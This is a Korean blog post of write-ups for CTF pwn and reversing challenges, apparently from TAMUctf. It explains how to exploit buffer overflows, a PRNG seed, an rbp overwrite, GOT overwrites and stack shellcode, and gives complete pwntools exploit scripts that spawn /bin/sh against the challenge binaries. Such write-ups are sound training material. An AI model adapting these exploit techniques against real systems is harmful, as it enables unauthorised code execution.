PWN
1. inspector-gadget
이 문제를 분석해보면 나오는 취약점은 pwnme 함수에 있습니다.
read 함수에서 buf크기 이상의 값을 버퍼에 입력받기 때문에 BOF가 발생합니다.
프로그램에는 NX보호기법이 적용되어 있으므로 ROP를 시도해볼수 있습니다.
이 프로그램을 익스플로잇 하기위해서는 원가젯을 사용하거나 system함수를 사용해야하므로
먼저 libc base 를 leak하고나서 pwnme 함수로 다시 리턴한뒤
이 값을 기반으로 system함수를 호출해서 쉘을 따는 방식으로 익스플로잇 했습니다.
주의해야할건, system 함수를 사용해서 쉘을 따므로 rsp 16바이트로 정렬되어있어야 하는데
제가 작성했던 이전 페이로드는 16바이트로 정렬이 되지 않아서 익스플로잇에 실패했었습니다.
그러므로 의미 없는 ret 가젯하나를 앞에 추가해주면 익스플로잇을 성공하게 됩니다.
from pwn import *
#p = remote("tamuctf.com", 443, ssl=True, sni="inspector-gadget")
p = process(["./inspector-gadget"],env={"LD_PRELOAD":"./libc6_2.35-0ubuntu3.1_amd64.so"})
libc = ELF('./libc6_2.35-0ubuntu3.1_amd64.so')
#libc = ELF("./libc.so.6")
e = ELF("./inspector-gadget")
#raw_input('1')
#context.log_level = 'debug'
pop_rdi = 0x000000000040127b
pwnme = 0x00000000004011a3
ret = 0x0000000000401016
payload = b'A'*24
payload += p64(pop_rdi)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts'])
payload += p64(pwnme)
p.sendlineafter(b"me\n",payload)
puts_addr = u64(p.recvn(6)+b'\x00'*2)
libc_base = puts_addr - libc.symbols['puts']
system = libc_base + libc.symbols['system']
print("puts address : "+hex(puts_addr))
print("libc base address : "+hex(libc_base))
payload2 = b'A'*24
payload2 += p64(ret)
payload2 += p64(pop_rdi) + p64(libc_base + list(libc.search(b'/bin/sh'))[0])
payload2 += p64(system)
p.sendlineafter(b"me\n",payload2)
p.interactive()
2. Unlucky
이 문제에서는 main함수의 주소값을 주고 럭키넘버라는것을 7번 입력해서 전부다 맞춰야만 플래그값을 줍니다.
바이너리를 보면 알다시피, 여기서 원하는 럭키넘버는 랜덤함수를 호출할때마다 나오는 값인데
랜덤시드로 사용되는 값은 시드값의 주소입니다.
이 프로그램에는 PIE가 적용되어있으므로 시드값의 주소는 고정되어있지 않을것입니다.
하지만 처음에 main함수의 주소를 제공해주므로, 이 값을 가지고 PIE base 를 구한뒤 offset을 사용해서 시드값의 주소를 알아낸뒤 이 값을 시드로 사용해서 랜덤함수값 7개를 추출한뒤 입력하면 플래그를 얻을수 있습니다.
from pwn import *
#p = remote("tamuctf.com", 443, ssl=True, sni="unlucky")
p = process('./unlucky')
context.log_level = 'debug'
p.recvuntil(": ")
main_addr = int(p.recvline()[:-1],16)
pie_base = main_addr - 0x11a5
print("seed : "+str(pie_base+0x4068))
p.interactive()
# 얻은 시드값으로 리눅스에서 7개의 랜덤값을 연달아 얻은뒤 콘솔에 입력하면 플래그 획득
#include <stdio.h>
int main(){
int seed;
printf("input seed :");
scanf("%d",&seed);
srand(seed);
for(int i=0;i<7;i++)
printf("%d\n",rand());
}
3. Pointers
프로그램을 살펴보면 처음에 v4배열의 주소를 알려준뒤 vuln함수를 호출하고 v4[0]에 있는 함수를 호출합니다.
vuln함수를 살펴보면 8바이트 크기의 버퍼에 10바이트만큼을 씁니다.
하지만 이정도로는 뭔가를 하는것이 불가능하다고 생각되는 크기여서 처음에는 어떻게 해야할지 막막했습니다.
이 프로그램에서는 별다른 조치를 취하지 않으면 lose함수가 호출되도록 짜여져 있습니다.
플래그값을 얻기 위해서는 win함수를 호출하도록 해야하지만 win함수를 호출하도록 할만한 방법이
마땅히 보이지 않았습니다.
그런데 gdb로 디버깅을 해보니, read함수를 통해서 버퍼에 값을 입력할때 2바이트의 나머지 값들을 사용해서
rbp값의 하위 2바이트를 변조시킬수 있다는것을 알게되었습니다.
vuln함수 이후에 함수를 호출할때 rbp값을 기준으로 lose함수의 값을 가져오므로 위의 방법을 통해서
rbp값을 적절하게 변조하면 win함수를 호출시킬수 있습니다.
위의 코드에서 lose함수의 주소위치는 rbp-0x20이면서 rsp라는것을 알수있습니다.
이것은 rsp+0x20이 rbp와 같다는것을 의미하는데, 이 프로그램에서는 처음에 rsp주소가 주어지므로
rbp를 rsp+0x28의 하위 2바이트로 덮어씌우면 lose함수 다음에 있는 win함수의 주소를 호출하게 되면서
최종적으로 플래그값을 얻을수 있게됩니다.
from pwn import *
#p = remote("tamuctf.com", 443, ssl=True, sni="pointers")
p = process("./pointers")
#raw_input('1')
#context.log_level = 'debug'
p.recvuntil(b'at ')
leak = int(p.recvline()[:-1],16)
p.sendlineafter(b'pls: ',b'A'*8+p64(leak+0x28)[:2])
p.interactive()
4. Randomness
이 프로그램은 다음과 같이 foo함수와 bar함수를 호출한뒤 종료되는 프로그램입니다.
먼저 foo함수는 정수를 입력받은뒤 그 값을 랜덤시드로 사용합니다.
그 다음 bar함수는 정수를 입력받은뒤 입력받은값이 랜덤함수의 반환값과 같은지 검사하는 함수입니다.
정답을 맞추는것은 간단하겠지만 지금 해야하는것은 플래그값을 알아내거나 쉘을 따야하는것입니다.
마침 이 문제에서는 win함수가 주어지므로 최종 목표는 win함수로 리턴하거나 호출시키는것이라고 할수있습니다.
그러면 어떻게 해야 이 문제를 익스플로잇 할수 있을지 분석해보면
foo함수에서 랜덤시드 값을 입력받는 스택공간과 bar함수에서 추측값을 입력받는 위치가 담긴 스택공간이 서로 같습니다.
그러므로 만약 랜덤시드값을 puts함수의 got값으로 넣고 추측값을 win함수의 주소값으로 넣는다면
puts의 got주소에 win함수의 주소값이 덮어씌워질것이므로
이 다음 로직에서 호출될 puts함수가 호출될때 win함수가 호출될것입니다.
from pwn import *
#p = remote("tamuctf.com", 443, ssl=True, sni="randomness")
p = process("./randomness")
e = ELF("./randomness")
#raw_input('1')
#context.log_level = 'debug'
win = '0x4011d3'
p.sendlineafter(b':\n',str(e.got['puts']).encode())
p.sendlineafter(b':\n', str(int(win,16)).encode())
p.interactive()
5. Sea Shells
프로그램의 주요 함수인 vuln함수를 분석해보면
변수 4개에 정수값을 받고 랜덤시드를 설정하지 않은상태의 랜덤값을 4번째 입력값과 3번째 입력값의 합과 비교해서
같을 경우 v1변수의 주소를 줍니다.
직접 랜덤값을 출력해보면 17767이라는 값이 나오므로
4번째값은 17767로 입력하고, 나머지 값들은 0으로 설정해도 상관없으므로 0으로 입력해서 v1변수의 주소를 leak합니다.
이 주소를 어떻게 이용할수 있을지 생각해봤는데
checksec으로 확인해보면 PIE가 걸려있지만, 이것은 leak한 v1변수의 주소를 이용해서
PIE base를 구하면 쉽게 해결되고 rwx권한이 있다고 나오는데
실제로 vmmap으로 메모리 권한을 확인해보면
스택 영역에 rwx 권한이 부여된것을 확인할수 있습니다.
마침 이 부분을 보면, scanf 함수에서 v5변수에 값을 입력받을때 %c가 아닌 %s로 받기 때문에
v5의 크기보다 훨씬 더많이 입력할수 있습니다.
이 방법을 사용해서 ret 영역 전까지 더미데이터를 입력한뒤
쉘코드를 덮어쓸 위치로 리턴하도록 하기 위해서 v1변수의 주소값을 이용해서 offset을 계산해서 가젯을 연결합니다.
마지막으로 쉘코드를 스택에 덮어씌우면, 연결한 가젯에 의해서 쉘코드가 실행되게 됩니다.
from pwn import *
#p = remote("tamuctf.com", 443, ssl=True, sni="sea-shells")
p = process("./sea-shells")
shellcode = b'\x48\x31\xd2\x48\x31\xf6\x48\x31\xc0\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\xb0\x3b\x0f\x05'
#context.log_level = 'debug'
raw_input('1')
p.sendlineafter(b': ',b'0')
p.sendlineafter(b': ',b'0')
p.sendlineafter(b': ',b'0')
p.sendlineafter(b': ',b'17767')
p.recvuntil(b'work: ')
d_addr = int(p.recvline()[:-1],16)
payload = b'A'*17
payload += p64(d_addr+0x40)
payload += shellcode
p.sendlineafter(b'(y/n) ',payload)
p.interactive()
6. bank
이 프로그램의 보호기법은 nx밖에 없습니다.
프로그램의 실행흐름은 main함수와 deposit함수에서 이루어집니다.
main 함수에서 버퍼링 제거작업 이후 deposit함수를 두번 호출한뒤
exit_msg라고 정의되어있는 문자열을 puts함수로 출력한뒤 main이 리턴됩니다.
deposit 함수를 살펴보면 0부터 100까지의 숫자를 입력한뒤 보증금을 입력하면
처음에 입력한 숫자만큼의 인덱스 위치에 입력한 보증금 값을 더해준뒤 리턴합니다.
저장되는 위치를 보면 bss영역에 저장된다는것을 알수 있습니다.
이 프로그램의 취약점은 deposit 함수에 존재하는데,
bss영역에 데이터를 쓸수있지만 인덱스를 입력하는 로직에서 입력값의 범위를 지정하지 않았기 때문에
int형 자료형의 범위내에서 모든 메모리 영역을 변조할수 있습니다.
특히 이 프로그램에는 PIE 보호기법이 없으므로 프로그램 상의 메모리 오프셋을 계산하기 더 쉽습니다.
그래서 이 취약점을 기반으로 어떻게 익스플로잇 할수있을지 생각해본 결과
일단 스택영역에 데이터를 덮어쓸수있는 방법을 사용하면 로직이 너무 복잡해지기 때문에
저는 RELRO 보호기법이 적용되지 않았다는 점과 데이터를 변조할때
단순히 복사하는 방식이 아닌 더하는 방식으로 데이터를 변조할수 있다는점을 이용했습니다..
main 함수에서 deposit 함수를 두번 호출한뒤 puts함수를 통해서 exit_msg를 출력하는데
마침 이 문제에서는 libc파일이 주어지므로
먼저 exit_msg와 accounts의 주소차이를 계산해서 인덱스값을 구한뒤
b'/bin/sh\x00' 바이트 문자열을 숫자로 바꾼값과 exit_msg의 앞8글자를 숫자로 바꾼값을 서로 빼주고
exit_msg 위치에 계산한 값을 덮어씌워주면 최종적으로 /bin/sh 문자열로 바뀌게 되고
accounts의 주소와 puts함수의 got주소의 차이를 이용해 인덱스값을 구한뒤
libc파일에서 구한 puts함수의 주소와 system함수의 주소를 서로 뺀뒤 puts의 got영역에
계산한 값을 더해줘서 puts의 got를 system의 got로 바꿔줬습니다.
이렇게 하면 최종적으로 puts got값이 system got 값이 될것이므로
puts(exit_msg) => system('/bin/sh')
이런식으로 함수가 호출될것입니다.
두 함수의 주소값차이는 보호기법이 걸려있더라도 절대적이므로
이런식으로 값을 변조해주면 libc base를 구하지 않고도 libc에 있는 원하는 함수를
호출할수 있게됩니다.
from pwn import *
#p = remote("tamuctf.com", 443, ssl=True, sni="bank")
#libc = ELF("./libc.so.6")
p = process("./bank")
libc = ELF("./libc6_2.35-0ubuntu3.1_amd64.so")
#raw_input('1')
binsh = u64(b'/bin/sh\x00') - u64(b'Have a n')
# exit_msg => /bin/sh
p.sendlineafter(b'in:',b'-10')
p.sendlineafter(b':',str(binsh).encode())
# puts(exit_msg) => system("/bin/sh")
p.sendlineafter(b'in:',b'-16')
p.sendlineafter(b':',str(libc.symbols['system']- libc.symbols['puts']).encode())
p.interactive()
로컬에서 테스트할때는 저의 환경에서 동작하는 libc파일을 구해서 사용했습니다.
REV
1. nothing
이 문제에서는 64비트 elf파일 하나를 줍니다.
문제 파일을 분석해보면
이런 main함수와
main함수 안에서 호출되는 이런 함수가 있습니다.
도데체 여기에 뭐가 있다는건지 안보여서 리눅스에서 gdb로 분석해보니
이 함수에서의 연산으로 인해 다른 로직으로 리턴하게 됩니다.
이게 어떻게 가능한건지 분석을 해본결과
main 함수에서 sub_1155함수의 첫번째 인자로 음수값을 전달합니다.
그리고 sub_1155함수에서는 이 값과 0x400000을 서로 더한뒤 rax로 리턴해주는데
문제는 이 rax값을 rbp-0x10에 넣습니다.
이 위치는 스택상 main함수의 리턴값이 있어야하는 위치이므로
이 로직에서 넣은 rax값이 바로 main함수가 리턴할 주소라는것입니다.
이 문제에서는 이 교묘한 트릭을 이용해서 디버깅을 어렵게 만든것으로 파악됩니다.
이 로직에서 연산한 값을 보면
0x11ab라는 값이 나오는데 이 위치를 살펴보면
rbp-0x54 의 데이터와 2가 같으면 뭔가 이어지는 로직이 존재하고 아니면 바로 프로그램이 종료되는 로직으로 점프합니다.
이 부분의 로직을 패치하면 플래그가 출력되는 로직으로 rip를 컨트롤 할수 있는거 같지만
저는 그냥 로직을 분석해서 플래그 연산코드를 작성해서 플래그를 얻었습니다.
from pwn import p64
enc = p64(0x626e7e6966656867) + p64(0x6068527964735671) + p64(0x48737d604c767f65) + p64(0x62737c6e7c756b68)
for i in range(len(enc)):
print(chr(enc[i]^i),end='')
2. nothing-2
문제 이름에서 예상했듯이 이번문제 역시 main 함수에서는 별다른 로직이 보이지 않습니다.
그래서 프로그램의 전체 로직을 샅샅이 뒤져봤는데
init 로직을 살펴보면 두 주소의 차이를 계산한뒤 이 값을 기반으로 반복문을 돌리면서
특정 함수의 주소가 위치한 주소를 1씩 더해가면서 호출합니다.
여기서 호출하는 함수들중 수상한 로직이 포함된 함수가 하나 보입니다.
이 로직을 살펴보니 딱봐도 init함수 안에 숨겨진 플래그 검사 로직이라는것을 알수 있습니다.
실행흐름을 조작해서 플래그를 도출해낼수도 있지만
저는 확실하게 로직을 확실하게 분석해서 직접 플래그 연산로직을 작성했습니다.
arr = [0x6f,0x61,0x6f,0x39,0x7b,0x35,0x69,0x6e,
0x31,0x37,0x73,0x6d,0x74,0x69,0x73,0x6e,
0x6d,0x36,0x62,0x6d,0x74,0x31,0x62,0x70,
0x72,0x7a,0x6e,0x6d,0x72,0x62,0x7b,0x79,
0x65,0x31,0x32]
find_str1 = "4piq9zovafg8{1hkcm7std03xle}ry6w_ujn52b"
find_str2 = "abcdefghijklmnopqrstuvwxyz1234567890{}_"
for i in arr:
idx = find_str1.find(chr(i))
print(find_str2[idx],end='')
이 코드를 실행시키면 플래그를 얻을수 있습니다.
'CTF' 카테고리의 다른 글
[DEF CON CTF Qualifier 2023] Live CTF : Test Your Luck (0) | 2023.06.02 |
---|---|
[DEF CON CTF Qualifier 2023] Live CTF : What a maze meant (0) | 2023.05.31 |
[2023 root access CTF] write-up (3) | 2023.05.02 |
[2023 FooBar CTF] Write-up (0) | 2023.03.14 |
2022 Hacking Land CTF write-up (0) | 2022.08.01 |